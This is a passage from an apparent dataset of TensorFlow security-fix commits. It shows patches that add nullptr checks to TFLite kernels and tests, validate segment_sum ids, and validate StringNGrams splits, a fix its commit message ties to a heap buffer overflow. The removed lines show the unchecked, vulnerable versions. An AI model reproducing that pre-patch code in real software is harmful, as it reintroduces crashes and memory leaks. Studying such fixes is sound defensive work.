GetTensorData(input);\n int size = NumElements(input->dims);\n \n@@ -641,9 +643,13 @@ TfLiteStatus SimpleStatefulOp::Invoke(TfLiteContext* context,\n }\n }\n \n- TfLiteTensor* median = GetOutput(context, node, kMedianTensor);\n+ TfLiteTensor* median;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kMedianTensor, &median));\n uint8_t* median_data = GetTensorData(median);\n- TfLiteTensor* invoke_count = GetOutput(context, node, kInvokeCount);\n+ TfLiteTensor* invoke_count;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kInvokeCount, &invoke_count));\n int32_t* invoke_count_data = GetTensorData(invoke_count);\n \n median_data[0] = sorting_buffer[size / 2];\n@@ -681,11 +687,14 @@ TfLiteStatus MockCustom::Prepare(TfLiteContext* context, TfLiteNode* node) {\n }\n \n TfLiteStatus MockCustom::Invoke(TfLiteContext* context, TfLiteNode* node) {\n- const TfLiteTensor* input = tflite::GetInput(context, node, 0);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));\n const int32_t* input_data = input->data.i32;\n- const TfLiteTensor* weight = tflite::GetInput(context, node, 1);\n+ const TfLiteTensor* weight;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 1, &weight));\n const uint8_t* weight_data = weight->data.uint8;\n- TfLiteTensor* output = GetOutput(context, node, 0);\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));\n int32_t* output_data = output->data.i32;\n output_data[0] =\n 0; // Catch output tensor sharing memory with an input tensor", "sections": [{"section": "@@ -601,7 +601,8 @@ TfLiteStatus SimpleStatefulOp::Prepare(TfLiteContext* context,\n OpData* data = reinterpret_cast(node->user_data);\n \n // Make sure that the input is in uint8_t with at least 1 data entry.\n- const TfLiteTensor* input = tflite::GetInput(context, node, kInputTensor);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));\n if (input->type != kTfLiteUInt8) return kTfLiteError;\n if (NumElements(input->dims) == 0) return kTfLiteError;\n \n", "related": false}, {"section": "@@ -622,7 +623,8 @@ TfLiteStatus SimpleStatefulOp::Invoke(TfLiteContext* context,\n OpData* data = reinterpret_cast(node->user_data);\n *data->invoke_count += 1;\n \n- const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));\n const uint8_t* input_data = GetTensorData(input);\n int size = NumElements(input->dims);\n \n", "related": false}, {"section": "@@ -641,9 +643,13 @@ TfLiteStatus SimpleStatefulOp::Invoke(TfLiteContext* context,\n }\n }\n \n- TfLiteTensor* median = GetOutput(context, node, kMedianTensor);\n+ TfLiteTensor* median;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kMedianTensor, &median));\n uint8_t* median_data = GetTensorData(median);\n- TfLiteTensor* invoke_count = GetOutput(context, node, kInvokeCount);\n+ TfLiteTensor* invoke_count;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kInvokeCount, &invoke_count));\n int32_t* invoke_count_data = GetTensorData(invoke_count);\n \n median_data[0] = sorting_buffer[size / 2];\n", "related": false}, {"section": "@@ -681,11 +687,14 @@ TfLiteStatus MockCustom::Prepare(TfLiteContext* context, TfLiteNode* node) {\n }\n \n TfLiteStatus MockCustom::Invoke(TfLiteContext* context, TfLiteNode* node) {\n- const TfLiteTensor* input = tflite::GetInput(context, node, 0);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));\n const int32_t* input_data = input->data.i32;\n- const TfLiteTensor* weight = tflite::GetInput(context, node, 1);\n+ const TfLiteTensor* weight;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 1, &weight));\n const uint8_t* weight_data = weight->data.uint8;\n- TfLiteTensor* output = GetOutput(context, node, 0);\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));\n int32_t* output_data = output->data.i32;\n output_data[0] =\n 0; // Catch output tensor sharing memory with an input tensor", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/lite/interpreter_test.cc", "commit_id": "e11f55585f614645b360563072ffeb5c3eeff162", "commit_message": "[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332517854\nChange-Id: Ic27221dd1f0fbe302f311c2fe5a846ed8ff02016", "patch": "@@ -621,8 +621,10 @@ TfLiteRegistration GetPassthroughOpRegistration() {\n reg.prepare = [](TfLiteContext* context, TfLiteNode* node) {\n auto* first_new_tensor = static_cast(node->user_data);\n \n- const TfLiteTensor* tensor0 = GetInput(context, node, 0);\n- TfLiteTensor* tensor1 = GetOutput(context, node, 0);\n+ const TfLiteTensor* tensor0;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &tensor0));\n+ TfLiteTensor* tensor1;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &tensor1));\n \n TfLiteIntArray* newSize = TfLiteIntArrayCopy(tensor0->dims);\n TF_LITE_ENSURE_STATUS(context->ResizeTensor(context, tensor1, newSize));\n@@ -646,7 +648,8 @@ TfLiteRegistration GetPassthroughOpRegistration() {\n return kTfLiteOk;\n };\n reg.invoke = [](TfLiteContext* context, TfLiteNode* node) {\n- const TfLiteTensor* a0 = GetInput(context, node, 0);\n+ const TfLiteTensor* a0;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &a0));\n \n auto populate = [&](int id) {\n TfLiteTensor* t = &context->tensors[id];\n@@ -780,8 +783,10 @@ TEST(BasicInterpreter, ThreeStepAllocate) {\n // String-in String-out node.\n TfLiteRegistration reg_copy = {nullptr, nullptr, nullptr, nullptr};\n reg_copy.invoke = [](TfLiteContext* context, TfLiteNode* node) {\n- const TfLiteTensor* input = GetInput(context, node, 0);\n- TfLiteTensor* output = GetOutput(context, node, 0);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));\n DynamicBuffer buf;\n StringRef str_ref = GetString(input, 0);\n buf.AddString(str_ref);\n@@ -792,14 +797,17 @@ TEST(BasicInterpreter, ThreeStepAllocate) {\n // String-in Int-out node.\n TfLiteRegistration reg_len = {nullptr, nullptr, nullptr, nullptr};\n reg_len.prepare = [](TfLiteContext* context, TfLiteNode* node) {\n- TfLiteTensor* output = GetOutput(context, node, 0);\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));\n TfLiteIntArray* outputSize = TfLiteIntArrayCreate(1);\n outputSize->data[0] = 1;\n return context->ResizeTensor(context, output, outputSize);\n };\n reg_len.invoke = [](TfLiteContext* context, TfLiteNode* node) {\n- const TfLiteTensor* a0 = GetInput(context, node, 0);\n- TfLiteTensor* a1 = GetOutput(context, node, 0);\n+ const TfLiteTensor* a0;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &a0));\n+ TfLiteTensor* a1;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &a1));\n a1->data.i32[0] = a0->bytes;\n return kTfLiteOk;\n };\n@@ -848,14 +856,18 @@ TEST(BasicInterpreter, AllocateTwice) {\n \n TfLiteRegistration reg = {nullptr, nullptr, nullptr, nullptr};\n reg.prepare = [](TfLiteContext* context, TfLiteNode* node) {\n- const TfLiteTensor* tensor0 = GetInput(context, node, 0);\n- TfLiteTensor* tensor1 = GetOutput(context, node, 0);\n+ const TfLiteTensor* tensor0;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &tensor0));\n+ TfLiteTensor* tensor1;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &tensor1));\n TfLiteIntArray* newSize = TfLiteIntArrayCopy(tensor0->dims);\n return context->ResizeTensor(context, tensor1, newSize);\n };\n reg.invoke = [](TfLiteContext* context, TfLiteNode* node) {\n- const TfLiteTensor* a0 = GetInput(context, node, 0);\n- TfLiteTensor* a1 = GetOutput(context, node, 0);\n+ const TfLiteTensor* a0;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &a0));\n+ TfLiteTensor* a1;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &a1));\n int num = a0->dims->data[0];\n for (int i = 0; i < num; i++) {\n a1->data.f[i] = a0->data.f[i];\n@@ -1205,8 +1217,10 @@ class TestExecutionPlan : public ::testing::Test {\n \n reg.prepare = [](TfLiteContext* context, TfLiteNode* node) {\n // Set output size to input size\n- const TfLiteTensor* tensor0 = GetInput(context, node, 0);\n- TfLiteTensor* tensor1 = GetOutput(context, node, 0);\n+ const TfLiteTensor* tensor0;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &tensor0));\n+ TfLiteTensor* tensor1;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &tensor1));\n TfLiteIntArray* newSize = TfLiteIntArrayCopy(tensor0->dims);\n return context->ResizeTensor(context, tensor1, newSize);\n };\n@@ -1215,8 +1229,10 @@ class TestExecutionPlan : public ::testing::Test {\n CallReporting* call_reporting =\n static_cast(node->builtin_data);\n // Copy input data to output data.\n- const TfLiteTensor* a0 = GetInput(context, node, 0);\n- TfLiteTensor* a1 = GetOutput(context, node, 0);\n+ const TfLiteTensor* a0;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &a0));\n+ TfLiteTensor* a1;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &a1));\n int num = a0->dims->data[0];\n for (int i = 0; i < num; i++) {\n a1->data.f[i] = a0->data.f[i];\n@@ -1403,8 +1419,10 @@ class CancellationTest : public ::testing::Test {\n // Set output size to the input size in CancelOp::Prepare(). Code exists to\n // have a framework in Prepare. The input and output tensors are not used.\n reg.prepare = [](TfLiteContext* context, TfLiteNode* node) {\n- const TfLiteTensor* in_tensor = GetInput(context, node, 0);\n- TfLiteTensor* out_tensor = GetOutput(context, node, 0);\n+ const TfLiteTensor* in_tensor;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &in_tensor));\n+ TfLiteTensor* out_tensor;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &out_tensor));\n TfLiteIntArray* new_size = TfLiteIntArrayCopy(in_tensor->dims);\n return context->ResizeTensor(context, out_tensor, new_size);\n };\n@@ -1423,8 +1441,10 @@ class CancellationTest : public ::testing::Test {\n // Set output size to the input size in OkOp::Prepare(). Code exists to have\n // a framework in Prepare. The input and output tensors are not used.\n reg.prepare = [](TfLiteContext* context, TfLiteNode* node) {\n- const TfLiteTensor* in_tensor = GetInput(context, node, 0);\n- TfLiteTensor* out_tensor = GetOutput(context, node, 0);\n+ const TfLiteTensor* in_tensor;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &in_tensor));\n+ TfLiteTensor* out_tensor;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &out_tensor));\n TfLiteIntArray* new_size = TfLiteIntArrayCopy(in_tensor->dims);\n return context->ResizeTensor(context, out_tensor, new_size);\n };", "sections": [{"section": "@@ -621,8 +621,10 @@ TfLiteRegistration GetPassthroughOpRegistration() {\n reg.prepare = [](TfLiteContext* context, TfLiteNode* node) {\n auto* first_new_tensor = static_cast(node->user_data);\n \n- const TfLiteTensor* tensor0 = GetInput(context, node, 0);\n- TfLiteTensor* tensor1 = GetOutput(context, node, 0);\n+ const TfLiteTensor* tensor0;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &tensor0));\n+ TfLiteTensor* tensor1;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &tensor1));\n \n TfLiteIntArray* newSize = TfLiteIntArrayCopy(tensor0->dims);\n TF_LITE_ENSURE_STATUS(context->ResizeTensor(context, tensor1, newSize));\n", "related": false}, {"section": "@@ -646,7 +648,8 @@ TfLiteRegistration GetPassthroughOpRegistration() {\n return kTfLiteOk;\n };\n reg.invoke = [](TfLiteContext* context, TfLiteNode* node) {\n- const TfLiteTensor* a0 = GetInput(context, node, 0);\n+ const TfLiteTensor* a0;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &a0));\n \n auto populate = [&](int id) {\n TfLiteTensor* t = &context->tensors[id];\n", "related": false}, {"section": "@@ -780,8 +783,10 @@ TEST(BasicInterpreter, ThreeStepAllocate) {\n // String-in String-out node.\n TfLiteRegistration reg_copy = {nullptr, nullptr, nullptr, nullptr};\n reg_copy.invoke = [](TfLiteContext* context, TfLiteNode* node) {\n- const TfLiteTensor* input = GetInput(context, node, 0);\n- TfLiteTensor* output = GetOutput(context, node, 0);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));\n DynamicBuffer buf;\n StringRef str_ref = GetString(input, 0);\n buf.AddString(str_ref);\n", "related": false}, {"section": "@@ -792,14 +797,17 @@ TEST(BasicInterpreter, ThreeStepAllocate) {\n // String-in Int-out node.\n TfLiteRegistration reg_len = {nullptr, nullptr, nullptr, nullptr};\n reg_len.prepare = [](TfLiteContext* context, TfLiteNode* node) {\n- TfLiteTensor* output = GetOutput(context, node, 0);\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));\n TfLiteIntArray* outputSize = TfLiteIntArrayCreate(1);\n outputSize->data[0] = 1;\n return context->ResizeTensor(context, output, outputSize);\n };\n reg_len.invoke = [](TfLiteContext* context, TfLiteNode* node) {\n- const TfLiteTensor* a0 = GetInput(context, node, 0);\n- TfLiteTensor* a1 = GetOutput(context, node, 0);\n+ const TfLiteTensor* a0;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &a0));\n+ TfLiteTensor* a1;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &a1));\n a1->data.i32[0] = a0->bytes;\n return kTfLiteOk;\n };\n", "related": false}, {"section": "@@ -848,14 +856,18 @@ TEST(BasicInterpreter, AllocateTwice) {\n \n TfLiteRegistration reg = {nullptr, nullptr, nullptr, nullptr};\n reg.prepare = [](TfLiteContext* context, TfLiteNode* node) {\n- const TfLiteTensor* tensor0 = GetInput(context, node, 0);\n- TfLiteTensor* tensor1 = GetOutput(context, node, 0);\n+ const TfLiteTensor* tensor0;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &tensor0));\n+ TfLiteTensor* tensor1;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &tensor1));\n TfLiteIntArray* newSize = TfLiteIntArrayCopy(tensor0->dims);\n return context->ResizeTensor(context, tensor1, newSize);\n };\n reg.invoke = [](TfLiteContext* context, TfLiteNode* node) {\n- const TfLiteTensor* a0 = GetInput(context, node, 0);\n- TfLiteTensor* a1 = GetOutput(context, node, 0);\n+ const TfLiteTensor* a0;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &a0));\n+ TfLiteTensor* a1;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &a1));\n int num = a0->dims->data[0];\n for (int i = 0; i < num; i++) {\n a1->data.f[i] = a0->data.f[i];\n", "related": false}, {"section": "@@ -1205,8 +1217,10 @@ class TestExecutionPlan : public ::testing::Test {\n \n reg.prepare = [](TfLiteContext* context, TfLiteNode* node) {\n // Set output size to input size\n- const TfLiteTensor* tensor0 = GetInput(context, node, 0);\n- TfLiteTensor* tensor1 = GetOutput(context, node, 0);\n+ const TfLiteTensor* tensor0;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &tensor0));\n+ TfLiteTensor* tensor1;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &tensor1));\n TfLiteIntArray* newSize = TfLiteIntArrayCopy(tensor0->dims);\n return context->ResizeTensor(context, tensor1, newSize);\n };\n", "related": false}, {"section": "@@ -1215,8 +1229,10 @@ class TestExecutionPlan : public ::testing::Test {\n CallReporting* call_reporting =\n static_cast(node->builtin_data);\n // Copy input data to output data.\n- const TfLiteTensor* a0 = GetInput(context, node, 0);\n- TfLiteTensor* a1 = GetOutput(context, node, 0);\n+ const TfLiteTensor* a0;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &a0));\n+ TfLiteTensor* a1;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &a1));\n int num = a0->dims->data[0];\n for (int i = 0; i < num; i++) {\n a1->data.f[i] = a0->data.f[i];\n", "related": false}, {"section": "@@ -1403,8 +1419,10 @@ class CancellationTest : public ::testing::Test {\n // Set output size to the input size in CancelOp::Prepare(). Code exists to\n // have a framework in Prepare. The input and output tensors are not used.\n reg.prepare = [](TfLiteContext* context, TfLiteNode* node) {\n- const TfLiteTensor* in_tensor = GetInput(context, node, 0);\n- TfLiteTensor* out_tensor = GetOutput(context, node, 0);\n+ const TfLiteTensor* in_tensor;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &in_tensor));\n+ TfLiteTensor* out_tensor;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &out_tensor));\n TfLiteIntArray* new_size = TfLiteIntArrayCopy(in_tensor->dims);\n return context->ResizeTensor(context, out_tensor, new_size);\n };\n", "related": false}, {"section": "@@ -1423,8 +1441,10 @@ class CancellationTest : public ::testing::Test {\n // Set output size to the input size in OkOp::Prepare(). Code exists to have\n // a framework in Prepare. The input and output tensors are not used.\n reg.prepare = [](TfLiteContext* context, TfLiteNode* node) {\n- const TfLiteTensor* in_tensor = GetInput(context, node, 0);\n- TfLiteTensor* out_tensor = GetOutput(context, node, 0);\n+ const TfLiteTensor* in_tensor;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &in_tensor));\n+ TfLiteTensor* out_tensor;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &out_tensor));\n TfLiteIntArray* new_size = TfLiteIntArrayCopy(in_tensor->dims);\n return context->ResizeTensor(context, out_tensor, new_size);\n };", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/lite/kernels/kernel_util.cc", "commit_id": "00302787b788c5ff04cb6f62aed5a74d936e86c0", "commit_message": "[tflite] Make `GetOptionalInputTensor` the same as `GetInput`.\n\nWith the previous change, there is no more need for two separate APIs. We would deprecate `GetOptionalInputTensor` in the future.\n\nPiperOrigin-RevId: 332513386\nChange-Id: Id7110271c25ebd6126ad8c82a493e37e0e0756b3", "patch": "@@ -75,12 +75,7 @@ TfLiteTensor* GetOutput(TfLiteContext* context, const TfLiteNode* node,\n \n const TfLiteTensor* GetOptionalInputTensor(const TfLiteContext* context,\n const TfLiteNode* node, int index) {\n- const bool use_tensor = index < node->inputs->size &&\n- node->inputs->data[index] != kTfLiteOptionalTensor;\n- if (use_tensor) {\n- return GetMutableInput(context, node, index);\n- }\n- return nullptr;\n+ return GetInput(context, node, index);\n }\n \n // Per-axis", "sections": [{"section": "@@ -75,12 +75,7 @@ TfLiteTensor* GetOutput(TfLiteContext* context, const TfLiteNode* node,\n \n const TfLiteTensor* GetOptionalInputTensor(const TfLiteContext* context,\n const TfLiteNode* node, int index) {\n- const bool use_tensor = index < node->inputs->size &&\n- node->inputs->data[index] != kTfLiteOptionalTensor;\n- if (use_tensor) {\n- return GetMutableInput(context, node, index);\n- }\n- return nullptr;\n+ return GetInput(context, node, index);\n }\n \n // Per-axis", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/lite/micro/kernels/depthwise_conv.cc", "commit_id": "fff2c8326280c07733828f990548979bdc893859", "commit_message": "[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332520146\nChange-Id: I405d986cfc653aaafcfdf4162c0acbd46220b921", "patch": "@@ -82,10 +82,13 @@ TfLiteStatus CalculateOpData(TfLiteContext* context, TfLiteNode* node,\n // parameters set. This is usually done during quantized training.\n if (data_type != kTfLiteFloat32) {\n const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n+ TF_LITE_ENSURE(context, input != nullptr);\n const TfLiteTensor* filter = GetInput(context, node, kFilterTensor);\n+ TF_LITE_ENSURE(context, filter != nullptr);\n const TfLiteTensor* bias =\n GetOptionalInputTensor(context, node, kBiasTensor);\n TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n+ TF_LITE_ENSURE(context, output != nullptr);\n int num_channels = filter->dims->data[kDepthwiseConvQuantizedDimension];\n \n return tflite::PopulateConvolutionQuantizationParams(\n@@ -114,8 +117,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n OpData* data = static_cast(node->user_data);\n \n TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n+ TF_LITE_ENSURE(context, output != nullptr);\n const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n+ TF_LITE_ENSURE(context, input != nullptr);\n const TfLiteTensor* filter = GetInput(context, node, kFilterTensor);\n+ TF_LITE_ENSURE(context, filter != nullptr);\n \n const TfLiteType data_type = input->type;\n int width = SizeOfDimension(input, 2);", "sections": [{"section": "@@ -82,10 +82,13 @@ TfLiteStatus CalculateOpData(TfLiteContext* context, TfLiteNode* node,\n // parameters set. This is usually done during quantized training.\n if (data_type != kTfLiteFloat32) {\n const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n+ TF_LITE_ENSURE(context, input != nullptr);\n const TfLiteTensor* filter = GetInput(context, node, kFilterTensor);\n+ TF_LITE_ENSURE(context, filter != nullptr);\n const TfLiteTensor* bias =\n GetOptionalInputTensor(context, node, kBiasTensor);\n TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n+ TF_LITE_ENSURE(context, output != nullptr);\n int num_channels = filter->dims->data[kDepthwiseConvQuantizedDimension];\n \n return tflite::PopulateConvolutionQuantizationParams(\n", "related": false}, {"section": "@@ -114,8 +117,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n OpData* data = static_cast(node->user_data);\n \n TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n+ TF_LITE_ENSURE(context, output != nullptr);\n const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n+ TF_LITE_ENSURE(context, input != nullptr);\n const TfLiteTensor* filter = GetInput(context, node, kFilterTensor);\n+ TF_LITE_ENSURE(context, filter != nullptr);\n \n const TfLiteType data_type = input->type;\n int width = SizeOfDimension(input, 2);", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/lite/micro/kernels/prelu.cc", "commit_id": "fff2c8326280c07733828f990548979bdc893859", "commit_message": "[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332520146\nChange-Id: I405d986cfc653aaafcfdf4162c0acbd46220b921", "patch": "@@ -95,8 +95,11 @@ TfLiteStatus PreluPrepare(TfLiteContext* context, TfLiteNode* node) {\n PreluParams* params = static_cast(node->user_data);\n \n const TfLiteTensor* input = GetInput(context, node, 0);\n+ TF_LITE_ENSURE(context, input != nullptr);\n const TfLiteTensor* alpha = GetInput(context, node, 1);\n+ TF_LITE_ENSURE(context, alpha != nullptr);\n TfLiteTensor* output = GetOutput(context, node, 0);\n+ TF_LITE_ENSURE(context, output != nullptr);\n \n return CalculatePreluParams(input, alpha, output, params);\n }", "sections": [{"section": "@@ -95,8 +95,11 @@ TfLiteStatus PreluPrepare(TfLiteContext* context, TfLiteNode* node) {\n PreluParams* params = static_cast(node->user_data);\n \n const TfLiteTensor* input = GetInput(context, node, 0);\n+ TF_LITE_ENSURE(context, input != nullptr);\n const TfLiteTensor* alpha = GetInput(context, node, 1);\n+ TF_LITE_ENSURE(context, alpha != nullptr);\n TfLiteTensor* output = GetOutput(context, node, 0);\n+ TF_LITE_ENSURE(context, output != nullptr);\n \n return CalculatePreluParams(input, alpha, output, params);\n }", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/lite/kernels/segment_sum.cc", "commit_id": "204945b19e44b57906c9344c0d00120eeeae178a", "commit_message": "[tflite] Validate segment ids for segment_sum.\n\nSegment identifiers in segment_sum should be in a 1-D tensor of same size as the first dimension of the input. The values of the tensor should be integers from {0, 1, 2, ... k-1}, where k is the first dimension of the input. The segment identifiers must not contain jumps and must be increasing.\n\nSee https://www.tensorflow.org/api_docs/python/tf/math#Segmentation as the source for these constraints.\n\nPiperOrigin-RevId: 332510942\nChange-Id: I898beaba00642c918bcd4b4d4ce893ebb190d869", "patch": "@@ -34,11 +34,24 @@ TfLiteStatus ResizeOutputTensor(TfLiteContext* context,\n const TfLiteTensor* data,\n const TfLiteTensor* segment_ids,\n TfLiteTensor* output) {\n- int max_index = -1;\n+ // Segment ids should be of same cardinality as first input dimension and they\n+ // should be increasing by at most 1, from 0 (e.g., [0, 0, 1, 2, 3] is valid)\n const int segment_id_size = segment_ids->dims->data[0];\n- if (segment_id_size > 0) {\n- max_index = segment_ids->data.i32[segment_id_size - 1];\n+ TF_LITE_ENSURE_EQ(context, segment_id_size, data->dims->data[0]);\n+ int previous_segment_id = -1;\n+ for (int i = 0; i < segment_id_size; i++) {\n+ const int current_segment_id = GetTensorData(segment_ids)[i];\n+ if (i == 0) {\n+ TF_LITE_ENSURE_EQ(context, current_segment_id, 0);\n+ } else {\n+ int delta = current_segment_id - previous_segment_id;\n+ TF_LITE_ENSURE(context, delta == 0 || delta == 1);\n+ }\n+ previous_segment_id = current_segment_id;\n }\n+\n+ const int max_index = previous_segment_id;\n+\n const int data_rank = NumDimensions(data);\n TfLiteIntArray* output_shape = TfLiteIntArrayCreate(NumDimensions(data));\n output_shape->data[0] = max_index + 1;", "sections": [{"section": "@@ -34,11 +34,24 @@ TfLiteStatus ResizeOutputTensor(TfLiteContext* context,\n const TfLiteTensor* data,\n const TfLiteTensor* segment_ids,\n TfLiteTensor* output) {\n- int max_index = -1;\n+ // Segment ids should be of same cardinality as first input dimension and they\n+ // should be increasing by at most 1, from 0 (e.g., [0, 0, 1, 2, 3] is valid)\n const int segment_id_size = segment_ids->dims->data[0];\n- if (segment_id_size > 0) {\n- max_index = segment_ids->data.i32[segment_id_size - 1];\n+ TF_LITE_ENSURE_EQ(context, segment_id_size, data->dims->data[0]);\n+ int previous_segment_id = -1;\n+ for (int i = 0; i < segment_id_size; i++) {\n+ const int current_segment_id = GetTensorData(segment_ids)[i];\n+ if (i == 0) {\n+ TF_LITE_ENSURE_EQ(context, current_segment_id, 0);\n+ } else {\n+ int delta = current_segment_id - previous_segment_id;\n+ TF_LITE_ENSURE(context, delta == 0 || delta == 1);\n+ }\n+ previous_segment_id = current_segment_id;\n }\n+\n+ const int max_index = previous_segment_id;\n+\n const int data_rank = NumDimensions(data);\n TfLiteIntArray* output_shape = TfLiteIntArrayCreate(NumDimensions(data));\n output_shape->data[0] = max_index + 1;", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/core/kernels/string_ngrams_op.cc", "commit_id": "0462de5b544ed4731aa2fb23946ac22c01856b80", "commit_message": "Validate `data_splits` for `tf.StringNGrams`.\n\nWithout validation, we can cause a heap buffer overflow which results in data leakage and/or segfaults.\n\nPiperOrigin-RevId: 332543478\nChange-Id: Iee5bda24497a195d09d122355502480830b1b317", "patch": "@@ -19,6 +19,7 @@ limitations under the License.\n #include \"absl/strings/ascii.h\"\n #include \"absl/strings/str_cat.h\"\n #include \"tensorflow/core/framework/op_kernel.h\"\n+#include \"tensorflow/core/platform/errors.h\"\n \n namespace tensorflow {\n namespace text {\n@@ -60,6 +61,18 @@ class StringNGramsOp : public tensorflow::OpKernel {\n OP_REQUIRES_OK(context, context->input(\"data_splits\", &splits));\n const auto& splits_vec = splits->flat();\n \n+ // Validate that the splits are valid indices into data\n+ const int input_data_size = data->flat().size();\n+ const int splits_vec_size = splits_vec.size();\n+ 